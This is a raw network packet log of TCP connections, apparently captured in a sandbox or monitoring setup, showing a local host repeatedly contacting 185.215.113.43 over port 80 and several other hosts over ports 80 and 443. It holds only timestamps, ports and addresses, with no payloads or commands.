Oct 3, 2024 03:27:22.480798960 CEST	49766	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:22.482569933 CEST	49766	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:22.490063906 CEST	80	49766	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:22.786195993 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:22.786322117 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:22.786422968 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:22.786901951 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:22.786942005 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:23.199095964 CEST	80	49751	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:23.202116966 CEST	49751	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:23.309370995 CEST	80	49766	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:23.309448004 CEST	49766	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:23.950316906 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:23.950421095 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:23.953203917 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:23.953239918 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:23.953658104 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:23.954859018 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:23.954901934 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:23.954915047 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:23.955106974 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:23.999407053 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:24.175483942 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:24.175606012 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:24.175704956 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:24.175771952 CEST	49767	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:24.175801039 CEST	443	49767	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:24.812310934 CEST	49766	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:24.812812090 CEST	49768	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:25.041598082 CEST	80	49768	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:25.041731119 CEST	49768	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:25.042007923 CEST	49768	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:25.051347017 CEST	80	49766	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:25.051408052 CEST	49766	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:25.059218884 CEST	80	49768	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:25.798778057 CEST	80	49768	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:25.798907042 CEST	49768	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:27.419066906 CEST	49768	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:27.419266939 CEST	49771	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:27.439728022 CEST	80	49768	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:27.439975977 CEST	49768	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:27.440030098 CEST	80	49771	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:27.440119028 CEST	49771	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:27.440326929 CEST	49771	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:27.473445892 CEST	80	49771	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:28.216691971 CEST	80	49771	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:28.218148947 CEST	49771	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:28.533801079 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:28.533868074 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:28.534034014 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:29.763700962 CEST	49771	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:29.764149904 CEST	49774	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:29.777398109 CEST	80	49771	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:29.777415037 CEST	80	49774	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:29.777510881 CEST	49771	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:29.777549982 CEST	49774	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:29.779913902 CEST	49774	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:29.813417912 CEST	80	49774	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:30.555094957 CEST	80	49774	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:30.558123112 CEST	49774	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:30.802896023 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:30.802937031 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:30.803004980 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:30.804241896 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:30.804255009 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:31.462933064 CEST	49753	443	192.168.2.5	142.250.186.132
Oct 3, 2024 03:27:31.463006973 CEST	443	49753	142.250.186.132	192.168.2.5
Oct 3, 2024 03:27:31.701818943 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:31.701898098 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:31.703990936 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:31.704014063 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:31.704236984 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:31.706209898 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:31.706283092 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:31.706294060 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:31.706435919 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:31.747416019 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:32.089950085 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:32.090037107 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:32.090102911 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:32.090395927 CEST	49775	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:32.090413094 CEST	443	49775	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:32.392823935 CEST	49774	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:32.393151045 CEST	49776	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:32.516217947 CEST	80	49776	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:32.516278982 CEST	80	49774	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:32.516290903 CEST	49776	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:32.516336918 CEST	49774	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:32.517750978 CEST	49776	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:32.548763990 CEST	80	49776	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:32.999735117 CEST	49777	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:33.058883905 CEST	80	49777	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:33.059530020 CEST	49777	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:33.097729921 CEST	49777	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:33.120682001 CEST	80	49777	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:33.344320059 CEST	80	49776	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:33.344413042 CEST	49776	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:33.834120035 CEST	80	49777	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:33.834187984 CEST	49777	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:33.837163925 CEST	49777	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:33.842016935 CEST	80	49777	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:34.060914040 CEST	80	49777	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:34.060986042 CEST	49777	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:34.856758118 CEST	49776	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:34.857031107 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:34.867451906 CEST	80	49778	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:34.867569923 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:34.867763996 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:34.867841005 CEST	80	49776	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:34.867923975 CEST	49776	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:34.873153925 CEST	80	49778	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:36.625601053 CEST	80	49778	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:36.625669956 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:36.655277967 CEST	80	49778	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:36.655307055 CEST	80	49778	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:36.655339003 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:36.655363083 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:37.153821945 CEST	49777	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:38.269372940 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:38.270963907 CEST	49779	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:38.274482965 CEST	80	49778	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:38.274539948 CEST	49778	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:38.276134014 CEST	80	49779	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:38.278141975 CEST	49779	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:38.284651041 CEST	49779	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:38.289423943 CEST	80	49779	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:39.023957014 CEST	80	49779	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:39.024035931 CEST	49779	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:40.528110981 CEST	49780	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:40.528115034 CEST	49779	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:40.533277035 CEST	80	49779	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:40.533457041 CEST	49779	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:40.533704042 CEST	80	49780	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:40.533936024 CEST	49780	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:40.533936024 CEST	49780	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:40.538752079 CEST	80	49780	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:41.250972033 CEST	80	49780	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:41.251034021 CEST	49780	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:42.925678015 CEST	49780	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:42.930715084 CEST	80	49780	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:42.930778980 CEST	49780	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:42.937387943 CEST	49781	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:42.942998886 CEST	80	49781	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:42.943079948 CEST	49781	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:42.994167089 CEST	49781	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:42.999417067 CEST	80	49781	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:43.669172049 CEST	80	49781	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:43.669226885 CEST	49781	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:44.105626106 CEST	49709	80	192.168.2.5	2.16.100.168
Oct 3, 2024 03:27:44.112057924 CEST	80	49709	2.16.100.168	192.168.2.5
Oct 3, 2024 03:27:44.112112045 CEST	49709	80	192.168.2.5	2.16.100.168
Oct 3, 2024 03:27:45.187171936 CEST	49781	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:45.187664986 CEST	49782	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:45.192327976 CEST	80	49781	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:45.192425013 CEST	80	49782	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:45.192491055 CEST	49781	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:45.192533970 CEST	49782	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:45.192790985 CEST	49782	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:45.197628021 CEST	80	49782	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:45.886307001 CEST	80	49782	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:45.886491060 CEST	49782	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:47.543577909 CEST	49782	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:47.543888092 CEST	49783	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:47.548641920 CEST	80	49782	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:47.548707962 CEST	49782	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:47.548718929 CEST	80	49783	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:47.548809052 CEST	49783	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:47.549057007 CEST	49783	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:47.553880930 CEST	80	49783	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:48.252264023 CEST	80	49783	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:48.252727985 CEST	49783	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:48.745201111 CEST	49711	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:27:48.745282888 CEST	443	49711	23.1.237.91	192.168.2.5
Oct 3, 2024 03:27:48.745347023 CEST	49711	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:27:48.755014896 CEST	49784	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:27:48.755064964 CEST	443	49784	23.1.237.91	192.168.2.5
Oct 3, 2024 03:27:48.755132914 CEST	49784	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:27:48.756302118 CEST	49784	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:27:48.756314039 CEST	443	49784	23.1.237.91	192.168.2.5
Oct 3, 2024 03:27:49.325308084 CEST	49785	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:49.330214977 CEST	80	49785	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:49.330303907 CEST	49785	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:49.330473900 CEST	49785	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:49.335338116 CEST	80	49785	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:49.779225111 CEST	49786	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:49.779258013 CEST	49783	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:49.784101009 CEST	80	49786	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:49.784198999 CEST	49786	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:49.784372091 CEST	49786	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:49.784416914 CEST	80	49783	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:49.784540892 CEST	49783	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:49.789386034 CEST	80	49786	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:50.022716045 CEST	80	49785	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:50.022878885 CEST	49785	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:50.025418997 CEST	49785	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:50.030234098 CEST	80	49785	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:50.247764111 CEST	80	49785	185.215.113.37	192.168.2.5
Oct 3, 2024 03:27:50.247855902 CEST	49785	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:50.488285065 CEST	443	49784	23.1.237.91	192.168.2.5
Oct 3, 2024 03:27:50.488380909 CEST	49784	443	192.168.2.5	23.1.237.91
Oct 3, 2024 03:27:50.496022940 CEST	80	49786	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:50.498188972 CEST	49786	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:52.153260946 CEST	49787	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:52.153294086 CEST	49786	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:52.158483982 CEST	80	49787	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:52.158641100 CEST	49787	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:52.158790112 CEST	49787	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:52.158967018 CEST	80	49786	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:52.159050941 CEST	49786	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:52.163786888 CEST	80	49787	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:52.875973940 CEST	80	49787	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:52.877288103 CEST	49787	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:53.959404945 CEST	49785	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:27:54.453488111 CEST	49787	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:54.454078913 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:54.461821079 CEST	80	49788	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:54.462104082 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:54.462126970 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:54.462562084 CEST	80	49787	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:54.462631941 CEST	49787	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:54.467093945 CEST	80	49788	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:55.178203106 CEST	80	49788	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:55.178313017 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:56.809818029 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:56.810205936 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.118086100 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.730160952 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.823904991 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.858886957 CEST	80	49789	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:57.858901024 CEST	80	49788	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:57.858912945 CEST	80	49788	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:57.858925104 CEST	80	49789	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:57.858937025 CEST	80	49788	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:57.858994961 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.859064102 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.859080076 CEST	49788	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.877006054 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:57.897820950 CEST	80	49789	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:57.982656002 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:57.982775927 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:57.982873917 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:57.988743067 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:57.988782883 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:58.568197012 CEST	80	49789	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:58.568276882 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:58.982376099 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:58.982491016 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:58.984647989 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:58.984658003 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:58.985011101 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:58.986758947 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:58.986968040 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:58.986974001 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:58.987118959 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:59.027442932 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:59.171216011 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:59.171617985 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:59.172245026 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:59.172482014 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:27:59.172502041 CEST	443	49790	40.115.3.253	192.168.2.5
Oct 3, 2024 03:27:59.172585011 CEST	49790	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:00.074430943 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:00.074811935 CEST	49791	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:00.079648018 CEST	80	49791	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:00.079730034 CEST	49791	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:00.079819918 CEST	80	49789	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:00.079870939 CEST	49789	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:00.079965115 CEST	49791	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:00.084753036 CEST	80	49791	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:00.819461107 CEST	80	49791	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:00.821199894 CEST	49791	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:02.550085068 CEST	49791	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:02.550455093 CEST	49792	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:02.555485964 CEST	80	49791	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:02.555713892 CEST	80	49792	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:02.555788040 CEST	49791	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:02.555813074 CEST	49792	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:02.555996895 CEST	49792	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:02.561060905 CEST	80	49792	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:03.246831894 CEST	80	49792	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:03.246921062 CEST	49792	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:04.989258051 CEST	49792	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:04.989790916 CEST	49793	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:04.994334936 CEST	80	49792	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:04.994431019 CEST	49792	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:04.994688988 CEST	80	49793	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:04.994891882 CEST	49793	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:04.995409012 CEST	49793	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:05.000163078 CEST	80	49793	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:05.001295090 CEST	49751	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:28:05.006947041 CEST	80	49751	185.215.113.103	192.168.2.5
Oct 3, 2024 03:28:05.694113970 CEST	80	49793	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:05.694310904 CEST	49793	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:07.343393087 CEST	49793	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:07.344233990 CEST	49794	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:07.348721981 CEST	80	49793	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:07.348923922 CEST	49793	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:07.349035025 CEST	80	49794	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:07.349261045 CEST	49794	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:07.349756956 CEST	49794	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:07.354538918 CEST	80	49794	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:08.079695940 CEST	80	49794	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:08.080368996 CEST	49794	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:08.866647959 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:08.866746902 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:08.866852999 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:08.867449045 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:08.867471933 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.598337889 CEST	49794	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:09.599040985 CEST	49796	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:09.603410006 CEST	80	49794	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:09.603708029 CEST	49794	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:09.604223967 CEST	80	49796	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:09.604298115 CEST	49796	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:09.604652882 CEST	49796	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:28:09.609616041 CEST	80	49796	185.215.113.43	192.168.2.5
Oct 3, 2024 03:28:09.647954941 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.648046017 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:09.651001930 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:09.651032925 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.651295900 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.654443979 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:09.654522896 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:09.654539108 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.654807091 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:09.695431948 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.825021029 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.825098991 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:09.825196981 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:09.825761080 CEST	49795	443	192.168.2.5	40.115.3.253
Oct 3, 2024 03:28:09.825805902 CEST	443	49795	40.115.3.253	192.168.2.5
Oct 3, 2024 03:28:10.152658939 CEST	443	49784	23.1.237.91	192.168.2.5
Oct 3, 2024 03:28:10.152882099 CEST	49784	443	192.168.2.5	23.1.237.91
